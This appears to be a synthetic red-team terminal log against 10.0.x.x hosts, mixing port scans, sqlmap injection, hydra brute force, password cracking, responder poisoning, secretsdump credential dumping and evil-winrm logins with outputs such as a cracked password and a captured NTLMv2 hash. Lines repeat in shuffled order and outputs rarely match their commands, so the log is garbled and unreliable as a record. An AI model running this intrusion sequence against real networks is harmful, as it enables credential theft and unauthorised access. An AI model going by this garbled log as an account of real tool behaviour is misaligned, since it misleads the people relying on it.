redteam@eyc:~$ nmap -sS -p- 10.0.135.100
[!] WAF bypass OK
[200] /.git/ exposed
redteam@eyc:~$ curl -s https://10.0.124.132/.git/HEAD
redteam@eyc:~$ sqlmap -u "https://10.0.249.221/?id=1" --batch --dbs
redteam@eyc:~$ evil-winrm -i 10.0.87.39 -u svc_backup
[+] 3 hosts up
redteam@eyc:~$ crackmapexec smb 10.0.177.0/24
[+] cracked: Verano2026!
[200] /.git/ exposed
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.251.162 http-post-form
[+] 3 hosts up
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.119.61
redteam@eyc:~$ curl -s https://10.0.253.80/.git/HEAD
redteam@eyc:~$ curl -s https://10.0.139.213/.git/HEAD
[200] /admin (size 3114)
redteam@eyc:~$ ffuf -u https://10.0.39.49/FUZZ -w common.txt -mc 200
[+] cracked: Verano2026!
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.61.45
[+] 22/tcp open ssh
redteam@eyc:~$ gobuster dir -u https://10.0.30.162 -w rockyou.txt
redteam@eyc:~$ sqlmap -u "https://10.0.123.205/?id=1" --batch --dbs
redteam@eyc:~$ evil-winrm -i 10.0.227.159 -u svc_backup
[+] cracked: Verano2026!
[*] NTLMv2 hash captured: aad3b435b514...
redteam@eyc:~$ gobuster dir -u https://10.0.78.181 -w rockyou.txt
[200] /admin (size 3114)
[+] login succeeded
redteam@eyc:~$ curl -s https://10.0.170.2/.git/HEAD
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
redteam@eyc:~$ responder -I eth0 -wrf
redteam@eyc:~$ nmap -sS -p- 10.0.44.179
[+] 3 hosts up
redteam@eyc:~$ sqlmap -u "https://10.0.52.29/?id=1" --batch --dbs
redteam@eyc:~$ nmap -sS -p- 10.0.253.205
[+] 445/tcp open microsoft-ds
redteam@eyc:~$ ffuf -u https://10.0.118.41/FUZZ -w common.txt -mc 200
redteam@eyc:~$ crackmapexec smb 10.0.60.0/24
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
redteam@eyc:~$ ffuf -u https://10.0.77.2/FUZZ -w common.txt -mc 200
[200] /admin (size 3114)
redteam@eyc:~$ ffuf -u https://10.0.105.228/FUZZ -w common.txt -mc 200
[200] /admin (size 3114)
redteam@eyc:~$ crackmapexec smb 10.0.159.0/24
redteam@eyc:~$ sqlmap -u "https://10.0.239.119/?id=1" --batch --dbs
[!] WAF bypass OK
[200] /.git/ exposed
redteam@eyc:~$ nmap -sS -p- 10.0.46.48
redteam@eyc:~$ nmap -sS -p- 10.0.114.31
[+] 445/tcp open microsoft-ds
redteam@eyc:~$ sqlmap -u "https://10.0.115.39/?id=1" --batch --dbs
redteam@eyc:~$ curl -s https://10.0.162.154/.git/HEAD
[+] 22/tcp open ssh
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
[+] 3 hosts up
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.246.55
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
[+] 22/tcp open ssh
[200] /admin (size 3114)
redteam@eyc:~$ nmap -sS -p- 10.0.14.55
[*] NTLMv2 hash captured: aad3b435b514...
redteam@eyc:~$ gobuster dir -u https://10.0.185.223 -w rockyou.txt
[+] 445/tcp open microsoft-ds
redteam@eyc:~$ ffuf -u https://10.0.163.117/FUZZ -w common.txt -mc 200
redteam@eyc:~$ crackmapexec smb 10.0.118.0/24
[200] /.git/ exposed
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
redteam@eyc:~$ ffuf -u https://10.0.7.75/FUZZ -w common.txt -mc 200
[+] login succeeded
